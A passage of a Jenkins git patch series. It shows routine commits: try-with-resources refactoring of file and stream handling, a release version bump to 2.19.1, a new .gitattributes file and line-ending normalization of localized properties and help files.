eidx; } buf.append(line.substring(copied)); out.println(buf.toString()); } - } finally { - fin.close(); } - } finally { - out.close(); } if (modified) { diff --git a/core/src/main/java/hudson/util/Service.java b/core/src/main/java/hudson/util/Service.java index 56ec8928f0..6275b07e3f 100644 --- a/core/src/main/java/hudson/util/Service.java +++ b/core/src/main/java/hudson/util/Service.java @@ -50,28 +50,25 @@ public class Service { final Enumeration e = classLoader.getResources("META-INF/services/"+type.getName()); while (e.hasMoreElements()) { URL url = e.nextElement(); - BufferedReader configFile = new BufferedReader(new InputStreamReader(url.openStream(),"UTF-8")); - try { + try (BufferedReader configFile = new BufferedReader(new InputStreamReader(url.openStream(), "UTF-8"))) { String line; while ((line = configFile.readLine()) != null) { line = line.trim(); - if (line.startsWith("#") || line.length()==0) continue; + if (line.startsWith("#") || line.length() == 0) continue; try { Class t = classLoader.loadClass(line); - if (!type.isAssignableFrom(t)) continue; // invalid type + if (!type.isAssignableFrom(t)) continue; // invalid type result.add(type.cast(t.newInstance())); } catch (ClassNotFoundException x) { - LOGGER.log(WARNING,"Failed to load "+line,x); + LOGGER.log(WARNING, "Failed to load " + line, x); } catch (InstantiationException x) { - LOGGER.log(WARNING,"Failed to load "+line,x); + LOGGER.log(WARNING, "Failed to load " + line, x); } catch (IllegalAccessException x) { - LOGGER.log(WARNING,"Failed to load "+line,x); + LOGGER.log(WARNING, "Failed to load " + line, x); } } - } finally { - configFile.close(); } } @@ -87,26 +84,23 @@ public class Service { Enumeration e = cl.getResources("META-INF/services/" + spi.getName()); while(e.hasMoreElements()) { final URL url = e.nextElement(); - final BufferedReader r = new BufferedReader(new InputStreamReader(url.openStream(),"UTF-8")); - try { + try (BufferedReader r = new BufferedReader(new InputStreamReader(url.openStream(), "UTF-8"))) { String line; - while((line=r.readLine())!=null) { - if(line.startsWith("#")) + while ((line = r.readLine()) != null) { + if (line.startsWith("#")) continue; // comment line line = line.trim(); - if(line.length()==0) + if (line.length() == 0) continue; // empty line. ignore. try { result.add(cl.loadClass(line).asSubclass(spi)); } catch (ClassNotFoundException x) { - LOGGER.log(Level.WARNING, "Failed to load "+line, x); + LOGGER.log(Level.WARNING, "Failed to load " + line, x); } } } catch (IOException x) { - LOGGER.log(Level.WARNING, "Failed to load "+url, x); - } finally { - r.close(); + LOGGER.log(Level.WARNING, "Failed to load " + url, x); } } } catch (IOException x) { diff --git a/core/src/main/java/hudson/util/TextFile.java b/core/src/main/java/hudson/util/TextFile.java index 4e16532044..b6fb8341e8 100644 --- a/core/src/main/java/hudson/util/TextFile.java +++ b/core/src/main/java/hudson/util/TextFile.java @@ -67,13 +67,10 @@ public class TextFile { public String read() throws IOException { StringWriter out = new StringWriter(); PrintWriter w = new PrintWriter(out); - BufferedReader in = new BufferedReader(new InputStreamReader(new FileInputStream(file),"UTF-8")); - try { + try (BufferedReader in = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"))) { String line; - while((line=in.readLine())!=null) + while ((line = in.readLine()) != null) w.println(line); - } finally{ - in.close(); } return out.toString(); } @@ -177,23 +174,20 @@ public class TextFile { * So all in all, this algorithm should work decently, and it works quite efficiently on a large text. */ public @Nonnull String fastTail(int numChars, Charset cs) throws IOException { - RandomAccessFile raf = new RandomAccessFile(file,"r"); - try { + try (RandomAccessFile raf = new RandomAccessFile(file, "r")) { long len = raf.length(); // err on the safe side and assume each char occupies 4 bytes // additional 1024 byte margin is to bring us back in sync in case we started reading from non-char boundary. - long pos = Math.max(0, len - (numChars*4+1024)); + long pos = Math.max(0, len - (numChars * 4 + 1024)); raf.seek(pos); - byte[] tail = new byte[(int) (len-pos)]; + byte[] tail = new byte[(int) (len - pos)]; raf.readFully(tail); String tails = cs.decode(java.nio.ByteBuffer.wrap(tail)).toString(); - return new String(tails.substring(Math.max(0,tails.length()-numChars))); // trim the baggage of substring by allocating a new String - } finally { - raf.close(); + return new String(tails.substring(Math.max(0, tails.length() - numChars))); // trim the baggage of substring by allocating a new String } } diff --git a/core/src/main/java/jenkins/PluginSubtypeMarker.java b/core/src/main/java/jenkins/PluginSubtypeMarker.java index d8e127f3ce..d10427a33d 100644 --- a/core/src/main/java/jenkins/PluginSubtypeMarker.java +++ b/core/src/main/java/jenkins/PluginSubtypeMarker.java @@ -111,11 +111,8 @@ public class PluginSubtypeMarker extends AbstractProcessor { private void write(TypeElement c) throws IOException { FileObject f = processingEnv.getFiler().createResource(StandardLocation.CLASS_OUTPUT, "", "META-INF/services/hudson.Plugin"); - Writer w = new OutputStreamWriter(f.openOutputStream(),"UTF-8"); - try { + try (Writer w = new OutputStreamWriter(f.openOutputStream(), "UTF-8")) { w.write(c.getQualifiedName().toString()); - } finally { - w.close(); } } diff --git a/core/src/main/java/jenkins/diagnosis/HsErrPidList.java b/core/src/main/java/jenkins/diagnosis/HsErrPidList.java index 64b1d93d78..f11090a4b4 100644 --- a/core/src/main/java/jenkins/diagnosis/HsErrPidList.java +++ b/core/src/main/java/jenkins/diagnosis/HsErrPidList.java @@ -49,14 +49,8 @@ public class HsErrPidList extends AdministrativeMonitor { return; } try { - FileChannel ch = null; - try { - ch = new FileInputStream(getSecretKeyFile()).getChannel(); + try (FileChannel ch = new FileInputStream(getSecretKeyFile()).getChannel()) { map = ch.map(MapMode.READ_ONLY,0,1); - } finally { - if (ch != null) { - ch.close(); - } } scan("./hs_err_pid%p.log"); diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index b25fbe2cc0..20c041e9ea 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -4157,9 +4157,9 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve if (rsp!=null) { rsp.setStatus(HttpServletResponse.SC_OK); rsp.setContentType("text/plain"); - PrintWriter w = rsp.getWriter(); - w.println("Shutting down"); - w.close(); + try (PrintWriter w = rsp.getWriter()) { + w.println("Shutting down"); + } } System.exit(0); diff --git a/core/src/main/java/jenkins/security/s2m/AdminWhitelistRule.java b/core/src/main/java/jenkins/security/s2m/AdminWhitelistRule.java index c9aabe5691..a05fd59e8e 100644 --- a/core/src/main/java/jenkins/security/s2m/AdminWhitelistRule.java +++ b/core/src/main/java/jenkins/security/s2m/AdminWhitelistRule.java @@ -109,14 +109,14 @@ public class AdminWhitelistRule implements StaplerProxy { private InputStream transformForWindows(InputStream src) throws IOException { BufferedReader r = new BufferedReader(new InputStreamReader(src)); ByteArrayOutputStream out = new ByteArrayOutputStream(); - PrintStream p = new PrintStream(out); - String line; - while ((line=r.readLine())!=null) { - if (!line.startsWith("#") && Functions.isWindows()) - line = line.replace("/","\\\\"); - p.println(line); + try (PrintStream p = new PrintStream(out)) { + String line; + while ((line = r.readLine()) != null) { + if (!line.startsWith("#") && Functions.isWindows()) + line = line.replace("/", "\\\\"); + p.println(line); + } } - p.close(); return new ByteArrayInputStream(out.toByteArray()); } diff --git a/core/src/main/java/jenkins/util/JSONSignatureValidator.java b/core/src/main/java/jenkins/util/JSONSignatureValidator.java index 73f9dd0a26..865a7b9917 100644 --- a/core/src/main/java/jenkins/util/JSONSignatureValidator.java +++ b/core/src/main/java/jenkins/util/JSONSignatureValidator.java @@ -143,10 +143,9 @@ public class JSONSignatureValidator { if (cert.endsWith("/") || cert.endsWith(".txt")) { continue; // skip directories also any text files that are meant to be documentation } - InputStream in = j.servletContext.getResourceAsStream(cert); - if (in == null) continue; // our test for paths ending in / should prevent this from happening Certificate certificate; - try { + try (InputStream in = j.servletContext.getResourceAsStream(cert)) { + if (in == null) continue; // our test for paths ending in / should prevent this from happening certificate = cf.generateCertificate(in); } catch (CertificateException e) { LOGGER.log(Level.WARNING, String.format("Webapp resources in /WEB-INF/update-center-rootCAs are " @@ -155,8 +154,6 @@ public class JSONSignatureValidator { + "resource for now.", cert), e); continue; - } finally { - in.close(); } try { TrustAnchor certificateAuthority = new TrustAnchor((X509Certificate) certificate, null); diff --git a/core/src/test/java/jenkins/util/xstream/XStreamDOMTest.java b/core/src/test/java/jenkins/util/xstream/XStreamDOMTest.java index 979a86cb2b..b32ed5a40f 100644 --- a/core/src/test/java/jenkins/util/xstream/XStreamDOMTest.java +++ b/core/src/test/java/jenkins/util/xstream/XStreamDOMTest.java @@ -83,12 +83,9 @@ public class XStreamDOMTest { @Test public void testUnmarshal() throws Exception { - InputStream is = XStreamDOMTest.class.getResourceAsStream("XStreamDOMTest.data1.xml"); Foo foo; - try { + try (InputStream is = XStreamDOMTest.class.getResourceAsStream("XStreamDOMTest.data1.xml")) { foo = (Foo) xs.fromXML(is); - } finally { - is.close(); } assertEquals("test1",foo.bar.getTagName()); assertEquals("value",foo.bar.getAttribute("key")); -- GitLab From 57fc2185da383e904a2a714f2d945426a92bfc3e Mon Sep 17 00:00:00 2001 From: Nicolas De Loof Date: Mon, 3 Oct 2016 09:39:19 +0200 Subject: [PATCH 350/811] honor undocumented formatting rule See but very important as not following this will result in :bugs: during code review --- core/src/main/java/hudson/model/UpdateCenter.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/UpdateCenter.java b/core/src/main/java/hudson/model/UpdateCenter.java index 8ecd72dd89..ff38d20e3b 100644 --- a/core/src/main/java/hudson/model/UpdateCenter.java +++ b/core/src/main/java/hudson/model/UpdateCenter.java @@ -755,7 +755,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas try (JarFile backupWar = new JarFile(new File(Lifecycle.get().getHudsonWar() + ".bak"))) { Attributes attrs = backupWar.getManifest().getMainAttributes(); String v = attrs.getValue("Jenkins-Version"); - if (v == null) v = attrs.getValue("Hudson-Version"); + if (v == null) v = attrs.getValue("Hudson-Version"); return v; } } catch (IOException e) { -- GitLab From 77dbc446f48ba12551dbcda7cbb18b69e26dc56d Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 3 Oct 2016 12:26:30 -0700 Subject: [PATCH 351/811] [maven-release-plugin] prepare release jenkins-2.19.1 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 1ba413843b..71a05f9615 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.19.1-SNAPSHOT + 2.19.1 cli diff --git a/core/pom.xml b/core/pom.xml index a53b490e2a..4b5efdee92 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.1-SNAPSHOT + 2.19.1 jenkins-core diff --git a/pom.xml b/pom.xml index 0dfca815ff..ddd7d36a8d 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.1-SNAPSHOT + 2.19.1 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.19.1 diff --git a/test/pom.xml b/test/pom.xml index b46af31810..3181f74c6e 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.1-SNAPSHOT + 2.19.1 test diff --git a/war/pom.xml b/war/pom.xml index 6024ac1574..4784dcd6cd 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.1-SNAPSHOT + 2.19.1 jenkins-war -- GitLab From 6dea927787eded0990eb17f2cb0b90b86feb278d Mon Sep 17 00:00:00 2001 From: Baptiste Mathus Date: Mon, 3 Oct 2016 21:30:00 +0200 Subject: [PATCH 352/811] Add .gitattributes to embed standard IN the repo That file will avoid users to file PR with wrong newline encoding. I've tried to declare what seemed to be the most common extensions. It's not strictly required, since the first line and the Git integrated heurisitics would work just fine in general. But we're just adding a bit more info here to lower chances to screw up. --- .gitattributes | 39 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 .gitattributes diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000000..71b25de5fe --- /dev/null +++ b/.gitattributes @@ -0,0 +1,39 @@ +# Handle line endings automatically for files detected as text +# and leave all files detected as binary untouched. +* text=auto + +# +# The above will handle all files NOT found below +# +# These files are text and should be normalized (Convert crlf => lf) +*.css text +*.groovy text +*.htm text +*.html text +*.java text +*.js text +*.json text +*.jelly text +*.jellytag text +*.less text +*.properties text +*.rb text +*.sh text +*.txt text +*.xml text + +# These files are binary and should be left untouched +# (binary is a macro for -text -diff) +*.class binary +*.gz binary +*.tgz binary +*.ear binary +*.gif binary +*.hpi binary +*.ico binary +*.jar binary +*.jpg binary +*.jpeg binary +*.png binary +*.war binary +*.zip binary -- GitLab From 9ff7cfc4d8a3cedb32e6f73a9b47d04c653dae73 Mon Sep 17 00:00:00 2001 From: Baptiste Mathus Date: Mon, 3 Oct 2016 21:54:24 +0200 Subject: [PATCH 353/811] Normalize incorrect line endings --- .../java/hudson/util/ProcessKillingVeto.java | 206 +++++++++--------- .../hudson/Messages_zh_CN.properties | 104 ++++----- .../thirdPartyLicenses_de.properties | 50 ++--- .../OldDataMonitor/manage_de.properties | 130 +++++------ .../OldDataMonitor/message_de.properties | 52 ++--- .../hudson/logging/Messages_de.properties | 44 ++-- .../hudson/model/JDK/config_de.properties | 46 ++-- .../hudson/model/JDK/config_zh_CN.properties | 46 ++-- .../MyViewsProperty/config_de.properties | 46 ++-- .../MyViewsProperty/newView_de.properties | 46 ++-- .../model/Node/help-labelString_zh_CN.html | 12 +- .../model/Node/help-numExecutors_zh_CN.html | 22 +- .../ProxyView/configure-entries_de.properties | 50 ++--- .../ProxyView/newViewDetail_de.properties | 46 ++-- .../hudson/model/User/delete_de.properties | 50 ++--- .../hudson/model/View/delete_lt.properties | 8 +- .../hudson/model/View/sidepanel_lt.properties | 18 +- .../hudson/model/queue/Messages_de.properties | 44 ++-- .../config_de.properties | 44 ++-- .../Data/cause_de.properties | 44 ++-- .../search/Search/search-failed_de.properties | 46 ++-- .../Unsecured/help_zh_CN.html | 12 +- .../help_zh_CN.html | 10 +- .../help_zh_CN.html | 8 +- .../help_zh_CN.html | 6 +- .../LegacySecurityRealm/help_zh_CN.html | 24 +- .../hudson/security/Messages_zh_CN.properties | 118 +++++----- .../ChannelTermination/cause_de.properties | 44 ++-- .../SlaveComputer/threadDump_de.properties | 46 ++-- .../tasks/BuildTrigger/config_de.properties | 50 ++--- .../help-command_zh_CN.html | 8 +- .../help-toolHome_zh_CN.html | 8 +- .../AbstractCommandInstaller/help_zh_CN.html | 42 ++-- .../config_de.properties | 46 ++-- .../config_zh_CN.properties | 46 ++-- .../hudson/tools/Messages_zh_CN.properties | 70 +++--- .../help-subdir_zh_CN.html | 6 +- .../help-url_zh_CN.html | 10 +- .../ZipExtractionInstaller/help_zh_CN.html | 12 +- .../AdministrativeError/message_de.properties | 44 ++-- .../index_de.properties | 66 +++--- .../index_de.properties | 66 +++--- .../hudson/util/NoHomeDir/index_de.properties | 64 +++--- .../BuildButtonColumn/column_lt.properties | 50 ++--- .../ReverseBuildTrigger/config_de.properties | 50 ++--- .../resources/lib/form/booleanRadio.jelly | 94 ++++---- .../resources/lib/form/optionalProperty.jelly | 90 ++++---- .../config-customWorkspace_ja.properties | 46 ++-- .../resources/windows-service/jenkins.xml | 100 ++++----- .../JenkinsRuleWithJelly/test1.jelly | 90 ++++---- war/src/main/webapp/WEB-INF/jboss-web.xml | 24 +- .../webapp/help/scm-browsers/list_de.html | 18 +- .../system-config/homeDirectory_zh_CN.html | 28 +-- .../master-slave/numExecutors_zh_CN.html | 20 +- .../master-slave/usage_zh_CN.html | 44 ++-- .../system-config/systemMessage_zh_CN.html | 8 +- .../main/webapp/help/tools/help-label_de.html | 8 +- .../webapp/help/tools/help-label_zh_CN.html | 8 +- 58 files changed, 1319 insertions(+), 1319 deletions(-) diff --git a/core/src/main/java/hudson/util/ProcessKillingVeto.java b/core/src/main/java/hudson/util/ProcessKillingVeto.java index 92e5ab98f0..bb26140748 100644 --- a/core/src/main/java/hudson/util/ProcessKillingVeto.java +++ b/core/src/main/java/hudson/util/ProcessKillingVeto.java @@ -1,103 +1,103 @@ -/* - * The MIT License - * - * Copyright (c) 2015, Daniel Weber - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in - * all copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - * THE SOFTWARE. - */ -package hudson.util; - -import hudson.ExtensionList; -import hudson.ExtensionPoint; -import hudson.util.ProcessTreeRemoting.IOSProcess; - -import java.util.Collections; -import java.util.List; - -import javax.annotation.CheckForNull; -import javax.annotation.Nonnull; - -import jenkins.util.JenkinsJVM; - -/** - * Allows extensions to veto killing processes. If at least one extension vetoes - * the killing of a process, it will not be killed. This can be useful to keep - * daemon processes alive. An example is mspdbsrv.exe used by Microsoft - * compilers. - * - * See JENKINS-9104 - * - * @since TODO - * - * @author Daniel Weber - */ -public abstract class ProcessKillingVeto implements ExtensionPoint { - - /** - * Describes the cause for a process killing veto. - */ - public static class VetoCause { - private final String message; - - /** - * @param message A string describing the reason for the veto - */ - public VetoCause(@Nonnull String message) { - this.message = message; - } - - /** - * @return A string describing the reason for the veto. - */ - public @Nonnull String getMessage() { - return message; - } - } - - /** - * @return All ProcessKillingVeto extensions currently registered. An empty - * list if Jenkins is not available, never null. - */ - public static List all() { - if (JenkinsJVM.isJenkinsJVM()) { - return _all(); - } - return Collections.emptyList(); - } - - /** - * As classloading is lazy, the classes referenced in this method will not be resolved - * until the first time the method is invoked, so we use this method to guard access to Jenkins JVM only classes. - * - * @return All ProcessKillingVeto extensions currently registered. - */ - private static List _all() { - return ExtensionList.lookup(ProcessKillingVeto.class); - } - - /** - * Ask the extension whether it vetoes killing of the given process - * - * @param p The process that is about to be killed - * @return a {@link VetoCause} if the process should not be killed, - * null else. - */ - @CheckForNull - public abstract VetoCause vetoProcessKilling(@Nonnull IOSProcess p); -} +/* + * The MIT License + * + * Copyright (c) 2015, Daniel Weber + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.util; + +import hudson.ExtensionList; +import hudson.ExtensionPoint; +import hudson.util.ProcessTreeRemoting.IOSProcess; + +import java.util.Collections; +import java.util.List; + +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; + +import jenkins.util.JenkinsJVM; + +/** + * Allows extensions to veto killing processes. If at least one extension vetoes + * the killing of a process, it will not be killed. This can be useful to keep + * daemon processes alive. An example is mspdbsrv.exe used by Microsoft + * compilers. + * + * See JENKINS-9104 + * + * @since TODO + * + * @author Daniel Weber + */ +public abstract class ProcessKillingVeto implements ExtensionPoint { + + /** + * Describes the cause for a process killing veto. + */ + public static class VetoCause { + private final String message; + + /** + * @param message A string describing the reason for the veto + */ + public VetoCause(@Nonnull String message) { + this.message = message; + } + + /** + * @return A string describing the reason for the veto. + */ + public @Nonnull String getMessage() { + return message; + } + } + + /** + * @return All ProcessKillingVeto extensions currently registered. An empty + * list if Jenkins is not available, never null. + */ + public static List all() { + if (JenkinsJVM.isJenkinsJVM()) { + return _all(); + } + return Collections.emptyList(); + } + + /** + * As classloading is lazy, the classes referenced in this method will not be resolved + * until the first time the method is invoked, so we use this method to guard access to Jenkins JVM only classes. + * + * @return All ProcessKillingVeto extensions currently registered. + */ + private static List _all() { + return ExtensionList.lookup(ProcessKillingVeto.class); + } + + /** + * Ask the extension whether it vetoes killing of the given process + * + * @param p The process that is about to be killed + * @return a {@link VetoCause} if the process should not be killed, + * null else. + */ + @CheckForNull + public abstract VetoCause vetoProcessKilling(@Nonnull IOSProcess p); +} diff --git a/core/src/main/resources/hudson/Messages_zh_CN.properties b/core/src/main/resources/hudson/Messages_zh_CN.properties index 2053f18043..7a3aa0c24d 100644 --- a/core/src/main/resources/hudson/Messages_zh_CN.properties +++ b/core/src/main/resources/hudson/Messages_zh_CN.properties @@ -1,52 +1,52 @@ -# The MIT License -# -# Copyright (c) 2004-2010, Sun Microsystems, Inc., Kohsuke Kawaguchi, id:cactusman, Seiji Sogabe -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -FilePath.validateAntFileMask.whitespaceSeprator=\ - Whitespace can no longer be used as the separator. Please Use '','' as the separator instead. -FilePath.validateAntFileMask.doesntMatchAndSuggest=\ - ''{0}'' doesn''t match anything, but ''{1}'' does. Perhaps that''s what you mean? -FilePath.validateAntFileMask.portionMatchAndSuggest=''{0}'' doesn''t match anything, although ''{1}'' exists -FilePath.validateAntFileMask.portionMatchButPreviousNotMatchAndSuggest=''{0}'' doesn''t match anything: ''{1}'' exists but not ''{2}'' -FilePath.validateAntFileMask.doesntMatchAnything=''{0}'' doesn''t match anything -FilePath.validateAntFileMask.doesntMatchAnythingAndSuggest=''{0}'' doesn''t match anything: even ''{1}'' doesn''t exist - -FilePath.validateRelativePath.wildcardNotAllowed=\u8fd9\u91cc\u4e0d\u5141\u8bb8\u4f7f\u7528\u901a\u914d\u7b26 -FilePath.validateRelativePath.notFile=''{0}'' \u4e0d\u662f\u4e00\u4e2a\u6587\u4ef6 -FilePath.validateRelativePath.notDirectory=''{0}'' \u4e0d\u662f\u4e00\u4e2a\u76ee\u5f55 -FilePath.validateRelativePath.noSuchFile=\u6ca1\u6709\u8fd9\u4e2a\u6587\u4ef6: ''{0}'' -FilePath.validateRelativePath.noSuchDirectory=\u6ca1\u6709\u8fd9\u4e2a\u76ee\u5f55: ''{0}'' - -Util.millisecond={0} \u6beb\u79d2 -Util.second={0} \u79d2 -Util.minute={0} \u5206 -Util.hour ={0} \u5c0f\u65f6 -Util.day ={0} {0,choice,0#days|1#day|1 - 标记(又叫做标签)用来对多节点分组,标记之间用空格分隔.例如'refression java6'将会把一个节点标记上'regression'和'java6'. - -

                    - 举例来说,如果你有多个Windows系统的构建节点并且你的Job也需要在Windows系统上运行,那么你可以配置所有的Windows系统节点都标记为'windows', - 然后把Job也标记为'windows'.这样的话你的Job就不会运行在除了Windows节点以外的其它节点之上了. +

                    + 标记(又叫做标签)用来对多节点分组,标记之间用空格分隔.例如'refression java6'将会把一个节点标记上'regression'和'java6'. + +

                    + 举例来说,如果你有多个Windows系统的构建节点并且你的Job也需要在Windows系统上运行,那么你可以配置所有的Windows系统节点都标记为'windows', + 然后把Job也标记为'windows'.这样的话你的Job就不会运行在除了Windows节点以外的其它节点之上了.

                    \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/Node/help-numExecutors_zh_CN.html b/core/src/main/resources/hudson/model/Node/help-numExecutors_zh_CN.html index 9f66f26bc6..a77b70de8e 100644 --- a/core/src/main/resources/hudson/model/Node/help-numExecutors_zh_CN.html +++ b/core/src/main/resources/hudson/model/Node/help-numExecutors_zh_CN.html @@ -1,11 +1,11 @@ -
                    - 这个值控制着Jenkins并发构建的数量. - 因此这个值会影响Jenkins系统的负载压力. - 使用处理器个数作为其值会是比较好的选择. - -

                    - 增大这个值会使每个构建的运行时间更长,但是这能够增大整体的构建数量,因为当一个项目在等待I/O时它允许CPU去构建另一个项目. - -

                    - 设置这个值为0对于从Jenkins移除一个失效的从节点非常有用,并且不会丢失配置信息。 -

                    +
                    + 这个值控制着Jenkins并发构建的数量. + 因此这个值会影响Jenkins系统的负载压力. + 使用处理器个数作为其值会是比较好的选择. + +

                    + 增大这个值会使每个构建的运行时间更长,但是这能够增大整体的构建数量,因为当一个项目在等待I/O时它允许CPU去构建另一个项目. + +

                    + 设置这个值为0对于从Jenkins移除一个失效的从节点非常有用,并且不会丢失配置信息。 +

                    diff --git a/core/src/main/resources/hudson/model/ProxyView/configure-entries_de.properties b/core/src/main/resources/hudson/model/ProxyView/configure-entries_de.properties index 5222cc089f..a206e6c6db 100644 --- a/core/src/main/resources/hudson/model/ProxyView/configure-entries_de.properties +++ b/core/src/main/resources/hudson/model/ProxyView/configure-entries_de.properties @@ -1,25 +1,25 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -View\ name=Name der Ansicht -The\ name\ of\ a\ global\ view\ that\ will\ be\ shown.=\ - Name einer globalen Ansicht, der angezeigt wird. +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +View\ name=Name der Ansicht +The\ name\ of\ a\ global\ view\ that\ will\ be\ shown.=\ + Name einer globalen Ansicht, der angezeigt wird. diff --git a/core/src/main/resources/hudson/model/ProxyView/newViewDetail_de.properties b/core/src/main/resources/hudson/model/ProxyView/newViewDetail_de.properties index 984d1a11b0..8e833e78bf 100644 --- a/core/src/main/resources/hudson/model/ProxyView/newViewDetail_de.properties +++ 